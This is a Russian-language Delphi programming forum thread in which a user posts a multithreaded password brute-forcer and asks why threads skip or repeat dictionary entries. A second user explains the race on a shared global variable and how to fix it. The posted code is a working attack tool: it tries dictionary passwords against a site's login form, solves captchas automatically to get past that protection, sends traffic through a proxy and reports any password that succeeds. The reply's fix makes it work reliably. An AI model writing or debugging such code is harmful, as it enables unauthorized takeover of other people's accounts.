Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Работа с сетью в Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 12.03.2013, 11:05   #1
casus
Пользователь
 
Аватар для casus
 
Регистрация: 12.03.2013
Сообщений: 28
По умолчанию Не могу разобраться с потоками

Недавно начал ковыряться с потоками и чисто в ознакомительных целях
наваял нехитрый брут, пока не защищенный, черновик так что не плевайтесь.
Проблем куча и я незнаю как их исправить.
В одном потоке все работает отлично, но с увеличением потоков происходят чудеса:
иногда пропускаются строки при загрузке из словаря, и/или несколько потоков грузят одну и туже строку из словаря.

Я так догадываюсь что это изза кривого подхода к передачи данных в поток, но я других спобов не нашел. В интернетах много примеров как вывести результат из потока, но мне надо загрузить в поток. Как это правильно сделать?

Код:
unit Thread;

interface

uses
Classes {$IFDEF MSWINDOWS}, Windows {$ENDIF}, httpsend, sysutils, jpeg, CapchaV1, Graphics;

type
  TBthread = class(TThread)
  private
  public
    constructor Create(CreateSuspended: boolean);
  protected
    procedure Execute; override;
    procedure UpdateCaption;
    procedure ShowPsw;
    procedure GetPasw;
  end;
var
passwrd:string;
implementation
uses Main;

constructor TBthread.Create(CreateSuspended: boolean);
begin
  inherited Create(CreateSuspended);
  freeonterminate:=true;
  priority := tplowest;
end;

function pars(text, a: string): string;
var
temp:string;
begin
temp:=copy(text,pos(a,text)+length(a),length(text)-(pos(a,text)+length(a)-1));
temp:=copy(temp,2,length(temp)-1);
temp:=copy(temp,1,pos('"',temp)-1);
result:=temp;
end;

procedure TBthread.GetPasw;
begin
passwrd:=Dict.Strings[crnt];
if crnt<>ldict-1 then inc(crnt)
                 else stop:=true;
end;

//Главный цикл потока
procedure TBthread.Execute;
var
http:THttpSend;
T:TStringList;
GetMain,GetLogin,GetCapcha,PostSimple,PostWide,GetPsw:boolean;
Buf,suf,postdata,capcha,gencode:string;
JPG:TJpegImage;
BMap:TBitmap;
begin
 JPG:= TJpegImage.Create;
 BMap:=TBitmap.Create;
 T :=  TStringList.Create;
 http := THTTPSend.Create;
 PostSimple:=true;
 PostWide:=false;
 GetCapcha:=false;
 GetLogin:=false;
 GetMain:=false;
 GetPsw:=true;
 Gencode:='';
 http.ProxyHost:='127.0.0.1';
 http.ProxyPort:='65535';
 repeat
 if GetPsw then
    begin
    GetPsw:=false;
    //passwrd:=Dict.Strings[crnt];
    Synchronize(GetPasw);
    //Synchronize(ShowPsw);
    if Gencode='' then PostSimple:=true
                  else GetLogin:=true;
    end;

 if PostSimple then
    begin
    suf:='/login/';
        postdata:=
        'username='+Form1.Edit1.Text+
        '&password='+passwrd+
        '&remember=0'+
        '&logon=mainform';
    http.Clear;
    http.Cookies.Clear;
    http.UserAgent:='censored';
    http.MimeType:='censored';
    http.Document.Write(Pointer(postdata)^, Length(postdata));
    http.HTTPMethod('POST',url+suf);
    T.LoadFromStream(http.Document);
    Buf:=T.Text;
    PostSimple:=false;
    If Buf='' then GetMain:=true;
    If copy(Buf,1,5)='maska' then GetLogin:=true;
    if (Buf<>'') and (copy(Buf,1,5)<>'maska') then GetPsw:=True;
 //form1.Memo1.Lines.Add(buf);
    end;

 if PostWide then
    begin
    suf:='/login/';
    postdata:=    // формируем пост-данные
   'logon=start'+
   '&hash='+
   '&ref='+
   '&username='+form1.Edit1.Text+
   '&password='+passwrd+
   '&verify='+capcha+
   '&gencode=+'+Gencode+
   '&submit-reg=Login';
    http.Clear;
    http.Document.Write(Pointer(postdata)^, Length(postdata));
    http.HTTPMethod('POST',url+suf);
    T.LoadFromStream(http.Document);
    buf:=t.Text;
    PostWide:=False;
    if buf='' then GetMain:=True
              else GetPsw:=True;
    end;

 if GetLogin then
    begin
    suf:='/login/';
    http.Clear;
    HTTP.HTTPMethod('get',url+suf);
    T.LoadFromStream(http.Document);
    buf:=t.Text;
    suf:=pars(buf,'img src=');
    gencode:=pars(buf,'name="gencode" value=');
    GetLogin:=false;
    GetCapcha:=true;
    end;

 if GetMain then
    begin
    suf:='/';
    http.Clear;
    HTTP.HTTPMethod('get',url+suf);
    T.LoadFromStream(http.Document);
    Buf:=T.Text;
    if pos('/logout/',Buf)<>0 then begin
                                   Good:=true;

                                   Synchronize(ShowPsw);
                                   end;
    GetMain:=false;
    PostSimple:=true;
    end;

 if GetCapcha then
    begin
    http.Clear;
    http.HTTPMethod('GET', url+suf);
    http.Document.Position:=0;
    jpg.LoadFromStream(http.Document);
    bmap.Assign(jpg);
    capcha:= CapchaToStr(Bmap);
    GetCapcha:=false;
    PostWide:=true;
    end;
until good or stop;

 T.free;
 http.Free;
 Synchronize(UpdateCaption);
 self.Terminate;
end;

procedure TBthread.ShowPsw;
begin
form1.Memo1.Lines.Add('password: '+passwrd);
end;

procedure TBthread.UpdateCaption;
begin
end;
end.
Давлю тараканов
casus вне форума Ответить с цитированием
Старый 12.03.2013, 11:26   #2
evg_m
Старожил
 
Регистрация: 20.04.2008
Сообщений: 5,526
По умолчанию

Цитата:
Код:
var
passwrd:string;
Общая переменная для ВСЕХ потоков.

первый поток поставил свое значение
второй поток СРАЗУ ПОСЛЕ (до того как первый успел воспользоваться) поставил свое значение
Теперь первый хочет взять свое значение (а там уже значение для второго)
в итоге первое значение пропущено, а второе взято дважды
Цитата:
иногда пропускаются строки при загрузке из словаря, и/или несколько потоков грузят одну и туже строку из словаря.
Сделайте эту переменную поле класса потока.
Код:
TBthread =class....
private
  passwrd:string;
...
end;
И на будущее старайтесь не использовать глобальные переменные. Здесь смотреть Почему

Цитата:
Я так догадываюсь что это изза кривого подхода к передачи данных в поток, но я других спобов не нашел.
Цитата:
Код:
   Synchronize(GetPasw);
принцип нормальный, но надо использовать(устанавливать) не глобальные переменные, а внутренние поля потока.

Цитата:
Код:
until good or stop;
посколькуздесь проверяются глобальные (а значит единые для всех потоков) то будут остановлены ВСЕ потоки. так и должно быть?
Если да то все хорошо, иначе возвращаемся к началу (не использовать глобальных переменных).

procedure TBthread.GetPasw;
begin
// сначала лучше проверить
if crnt<ldict then begin
passwrd:=Dict.Strings[crnt];
inc(crnt);
end
else
stop:=true;// можно конечно остановить ВСЕ потоки
terminate; // или же остановить только текущий
// Остальные в этом случае могут остановиться в свою очередь при СВОЕМ следующем обращении к словарю.
end;
И еще одно задача Terminate это НЕ ОСТАНОВКА потока, а информирование (просьба/пожелание) об оной. всего лишь (terminated:=true
Чтобы поток отреагировал он должен проверять внутри рабочего цикла свое свойство
while not terminated | until terminated | if terminated then Exit;
посему
Цитата:
Код:
until good or stop;
.....
 self.Terminate; 
end;
после рабочего цикла не имеет смысла.(не ошибка, но бесполезная операция).
программа — запись алгоритма на языке понятном транслятору

Последний раз редактировалось evg_m; 12.03.2013 в 11:54.
evg_m вне форума Ответить с цитированием
Старый 12.03.2013, 20:05   #3
casus
Пользователь
 
Аватар для casus
 
Регистрация: 12.03.2013
Сообщений: 28
По умолчанию

Спасибо! Щас попробую..
Давлю тараканов
casus вне форума Ответить с цитированием
Старый 26.03.2013, 03:25   #4
casus
Пользователь
 
Аватар для casus
 
Регистрация: 12.03.2013
Сообщений: 28
По умолчанию

Еще раз спасибо, все работает отлично.
Давлю тараканов
casus вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Пример работы с потоками, не могу разобраться! Kaaatso Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM 1 27.05.2012 07:36
не могу разобраться navolo4ka Qt и кроссплатформенное программирование С/С++ 3 03.02.2012 14:01
не могу разобраться feesta Помощь студентам 3 17.09.2011 23:46
НЕ МОГУ РАЗОБРАТЬСЯ С ПОТОКАМИ Psix0 Общие вопросы C/C++ 5 22.01.2011 18:21